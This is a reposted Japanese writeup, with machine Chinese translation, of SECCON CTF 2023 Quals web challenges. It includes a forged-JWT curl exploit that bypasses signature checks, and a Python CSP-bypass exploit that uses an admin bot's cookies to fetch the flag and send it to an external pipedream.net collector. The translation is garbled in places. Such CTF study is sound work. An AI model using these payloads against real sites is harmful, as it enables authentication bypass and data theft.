SECCON CTF 2023 Quals Writeup/Upsolves

WriteUp 8个月前 admin
343 0 0

はじめに 起先

2023/09/16-17にかけて開催されたSECCON CTF 2023 QualsにチームBunkyoWesternsのメンバーとして参加しました。Internationalでは24/653位、Domesticでは2位でした。
我们作为文京西部战队的一员参加了 2023 年 9 月 16 日至 17 日举行的 SECCON CTF 2023 资格赛。 国际24/653,国内第二。

こちらでは私が解いた問題のWriteupと一部のUpsolvesを共有します。ほとんどTBDなのはすみません :bow:
在这里,我将分享我解决的问题的写作和一些解决。 对不起,快待定了:弓:

Web

Bad JWT(107 solved/98pts)
坏 JWT(107 解决/98 分)

I think this JWT implementation is not bad.
我认为这个 JWT 实现还不错。

http://bad-jwt.seccon.games:3000

index.js 索引.js
jwt.js 智威汤逊.js

問題概要は以下の通り。 问题的摘要如下。

  • FLAGは、GET / してreq.session.isAdmin === true が満たされると得られる
    标志在满足时 GET / req.session.isAdmin === true 获得
  • 全てのリクエストにおいて、Cookieのsessionに含まれるJWTのverifyが行われる
    所有请求都会验证 Cookie 会话中包含的 JWT。

isAdmin === true を満たすためには、単純にJWTのpayloadを {”isAdmin”:true} にすれば良い。しかし、単にpayloadを編集するのみではsignatureが正しくないのでJWTのverifyに弾かれ、/ のエンドポイント実装に辿り着かない。したがって、verifyのロジックをバイパスすることを次の目的とする。
isAdmin === true 要满足 ,只需 {”isAdmin”:true} 将 JWT 有效负载设置为 。 但是,简单地编辑有效负载不是有效的签名,因此它将由 JWT 的验证播放,并且不会到达 的端点实现 / 。 因此,以下目的是绕过验证的逻辑。

verifyのロジックは以下の通り。 验证的逻辑如下。

// jwt.js
const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');

	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

verifyをパスするためにBuffer.compare(calculated_buf, expected_buf) === 0 を満たせば良いことが分かるので、 createSignature の実装を見る。
由于我们可以看到我们需要满足 Buffer.compare(calculated_buf, expected_buf) === 0 才能通过验证,我们将查看 createSignature 的实现。

// jwt.js
const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
	return base64UrlEncode(JSON.stringify(obj));
}

// index.js
const secret = require('crypto').randomBytes(32).toString('hex');

signature は algorithms[header.alg.toLowerCase()](data, secret) で定義されている。ここで、僕たちが操作できるのは header.alg までで、 secret はランダム文字列なので特定することが難しいと分かる。したがって、どうにかして algorithms[任意の文字列.toLowerCase()](data, secret) の値を固定値にしたいという気持ちになる。
signature 在 中定义 algorithms[header.alg.toLowerCase()](data, secret) 。 在这里,我们可以看到只能操作 header.alg 到, secret 并且很难识别,因为是一个随机字符串。 因此,您希望以某种方式使值成为 algorithms[任意の文字列.toLowerCase()](data, secret) 固定值。

手元でガチャガチャやると、 algorithms["constructor".toLowerCase()](data, secret) が評価される場合、常に signature に data が格納されることに気づける。 data の定義は ${stringifyPart(header)}.${stringifyPart(payload)} なので、これをJWTのsignatureに設定すれば良い。
如果你弄乱了它, algorithms["constructor".toLowerCase()](data, secret) 你会注意到它总是存储在 signature 评估 data 时。 data ${stringifyPart(header)}.${stringifyPart(payload)} 定义是 ,因此将其设置为 JWT 的签名。

ここで、JWTのsignatureに . が含まれるとJWT formatが壊れるように思える。しかし、手元で試すと比較時に . が抜け落ちることが分かるので、 signatureは ${stringifyPart(header)}${stringifyPart(payload)} にすれば良い。
在这里, . 如果 JWT 签名包含 . 但是,如果您手头尝试一下,您会发现在比较时 . 缺少它,因此签名 ${stringifyPart(header)}${stringifyPart(payload)} 应该是 .

したがって、エクスプロイトは以下の通り。 因此,漏洞如下。

curl http://bad-jwt.seccon.games:3000/ \
    -H "Cookie: session=eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ%3D%3D"

blink(14 solved/240pts)
眨眼(14分/240分)

Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement <blink>.
Chrome 114 支持弹出框 API。令人敬畏的API非常有用,您可以轻松实现 <blink> 。

web/public/main.js 网络/公共/主.js
web/public/index.html
web/index.js 网络/索引.js

TBD。他の方のWriteupが出るのを待ちます。
待定。 等待别人的写出来。

eeeeejs(12 solved/257pts)
EEEEEJS(12 分/257 分)

Can you bypass all mitigations?
你能绕过所有缓解措施吗?

TBD。理解に時間がかかりそうなので後回しにします。
待定。 需要一些时间来理解,所以我会推迟它。

hidden-note(1 solved/500pts)
隐藏音符(1 解决/500 点)

Shared pages hide your secret notes.
共享页面会隐藏您的秘密备忘录。

TBD。他の方のWriteupが出るのを待ちます。
待定。 等待别人的写出来。

SimpleCalc(23 solved/193pts)
简单计算(23 解/193 分)

This is a simplest calculator app.
这是一个最简单的计算器应用程序。

Note: Don’t forget that the target host is localhost from the admin bot.
注意:不要忘记目标主机是来自管理员机器人的本地主机。

http://simplecalc.seccon.games:3000

src/index.js
src/bot.js SRC/机器人.js
src/static/index.html
src/static/js/index.js

問題概要は以下の通り。 问题的摘要如下。

  • FLAGは、GET /flag して、req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')が満たされた時に得られる
    当 req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG') 满足 GET /flag 时,将获得该标志
  • ADMIN_TOKEN は POST /report で実行されるbotのhttpOnlyなCookieにある
    ADMIN_TOKEN POST /report 在运行在 httpOnly
  • 全てのハンドラにおいて、CSPヘッダが以下のコードで付与される
    在所有处理程序中,CSP 标头都分配有以下代码:
const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
  • expr というquery parameterの値を以下の通りevalしている
    expr 查询参数的值如下所示。
const params = new URLSearchParams(location.search); 
const result = eval(params.get('expr')); // query parameterのexprをeval
document.getElementById('result').innerText = result.toString(); // 結果をid=resultのDOMのinnerTextに格納

Flagを得るためには、botのCookieに含まれる ADMIN_TOKEN を得る必要がある。ここでの大きな問題は、Cookieの httpOnly 属性である。 httpOnly 属性はJavaScriptのDocument.cookie APIからアクセスが出来ない。 ref: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies
为了获取标志,您需要 ADMIN_TOKEN 获取包含在机器人的 cookie 中。 这里 httpOnly 最大的问题是cookie的属性。 httpOnly 无法从 Document.cookie JavaScript API 访问属性。 参考: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies

そこで、ADMIN_TOKENを抜き出すのではなく、botのリクエストに含まれる資格情報を流用して(ref)、fetch APIにてGET /flagリクエストを行いたい。しかし、CSPヘッダが設定されているためfetch APIの実行が制限される。そこで、次の目的をCSPヘッダのバイパスとする。
因此,我们不想提取 ADMIN_TOKEN ,我们希望转移机器人请求 (ref) 中包含的凭据,并使用 fetch API 发出 GET /flag 请求。 但是,由于设置了 CSP 标头,因此提取 API 的执行受到限制。 因此,以下目的是绕过 CSP 标头。

CSPヘッダのバイパス方法として、巨大なクエリパラメータを設定する方法が利用できる。これは手元でガチャガチャやると気づける。PoCは以下の通り。大きなクエリパラメータを設定すると、CSPヘッダが設定されないことが分かる。
作为CSP头的旁路方法,可以使用设置大型查询参数的方法。 当你弄乱它时,你可以注意到这一点。 PoC 如下。 设置大型查询参数时,可以看到未设置 CSP 标头。

PoC

これにより、CSPの制限なくJavaScriptを実行できるようになる。ただし、実際にchromeで実行するとHTTP ERROR 431用のページが表示され、それ以降の処理が続かないように見える。
这允许JavaScript在没有CSP限制的情况下执行。 但是,当您在Chrome中实际运行它时,它显示为一个页面 HTTP ERROR 431 ,并且似乎没有进一步的处理。

そこで、iframe要素のsrc属性とonload属性を利用する。これは知らなかったのだが(よく考えたら当たり前かもしれないが)、src属性の読み込みが終わった後にonload属性に指定されたスクリプトが実行される。これは、以下の通りChromeのconsoleで確認できる。
因此,我们使用 iframe 元素的 src 和 onload 属性。 我不知道这一点(如果您考虑一下可能很明显),但是在 onload 属性中指定的脚本是在 src 属性完成加载后执行的。 这可以在Chrome控制台中看到,如下所示。

src属性で参照するファイル src 属性引用的文件

<!-- /tmp/script.html -->
<script>console.log('script.html is loaded.');</script>

Chromeで表示させるHTMLファイル  要在 Chrome 中显示的 HTML 文件

<!-- /tmp/index.html -->
<!DOCTYPE html>
index.html

Chromeのコンソール   Chrome 控制台 SECCON CTF 2023 Quals Writeup/Upsolves

したがって、以下の順序でCSPを無効化しつつ、fetch APIでFlagをリークさせることができる。
因此,在按以下顺序禁用 CSP 时,可能会使用提取 API 泄漏标志。

  1. 作成されたiframe要素がdocument.bodyにappendされる
    创建的 iframe 元素将 document.body 追加到
  2. iframeのsrc属性として、非常に大きなquery stringが付与された/js/index.jsがCSPヘッダなしでロードされる
    当 iframe 的 src 属性在没有 CSP 标头的情况下加载时,会给出一个非常大的查询字符串 /js/index.js
  3. iframeのonload属性で、iframe要素のcontentWindowプロパティを介してfetch APIが実行される
    iframe 的 onload 属性通过 iframe 元素的属性执行 contentWindow 获取 API

エクスプロイトコードは以下の通り。 漏洞利用代码如下:

from urllib.parse import urlencode
import requests

target_url = "http://simplecalc.seccon.games:3000"
attacker_url = "https://eoljd6ta1qq0d9f.m.pipedream.net"

payload = f"""
var i=document.createElement('iframe');
i.src = `/js/index.js?expr=${{'a'.repeat(20000)}}`;
i.onload = () => {{
i.contentWindow.fetch('/flag', {{headers: {{'X-FLAG': true}}, credentials: 'include'}}).then(res=>res.text()).then(res=>location.href='{attacker_url}?q='+res);
}};
document.body.appendChild(i);
"""
payload = urlencode({"expr": payload})
resp = requests.post(
    f"{target_url}/report",
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    data=payload,
)

おわりに  结论

チームメンバーが強すぎました。結果的にメンバー全員が1solve以上して置物にならなかったのは良かったと思います。僕はWebの簡単な問題を1問通しただけなので悔しかったです。
团队成员太强大了。 结果,我认为所有成员在超过1个解决方案后都没有成为小雕像是件好事。 我很沮丧,因为我只经历了一个简单的网络问题。

Web問に関しては、発想の転換みたいなものに至るまで、手元で試行錯誤することが重要なのだなとしみじみ思いました。考えるだけでは気付けないことが沢山あったので。
关于网络问题,我真的觉得手头的试错很重要,直到改变思维。 有很多事情我只是想一想就无法注意到。

それと、何事もなければ決勝に行くと思います。めでたいですね。僕は同日にSECCON Beginnersのブースで講義があって参加できないので、当日は他メンバーを応援していようと思います。
另外,如果什么都没发生,我想我们会进入决赛。 祝贺! 我不能参加,因为同一天在SECCON初学者展位有讲座,所以我会在当天支持其他成员。

最後になりますが、運営と作問陣の皆さん、作問と運営お疲れさまでした。決勝も陰ながら応援しています。
最后但并非最不重要的一点是,感谢管理层和提问团队在写作和管理方面的辛勤工作。 我在幕后为决赛欢呼。

原文始发于task4233:SECCON CTF 2023 Quals Writeup/Upsolves

版权声明:admin 发表于 2023年9月20日 上午12:42。
转载请注明:SECCON CTF 2023 Quals Writeup/Upsolves | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...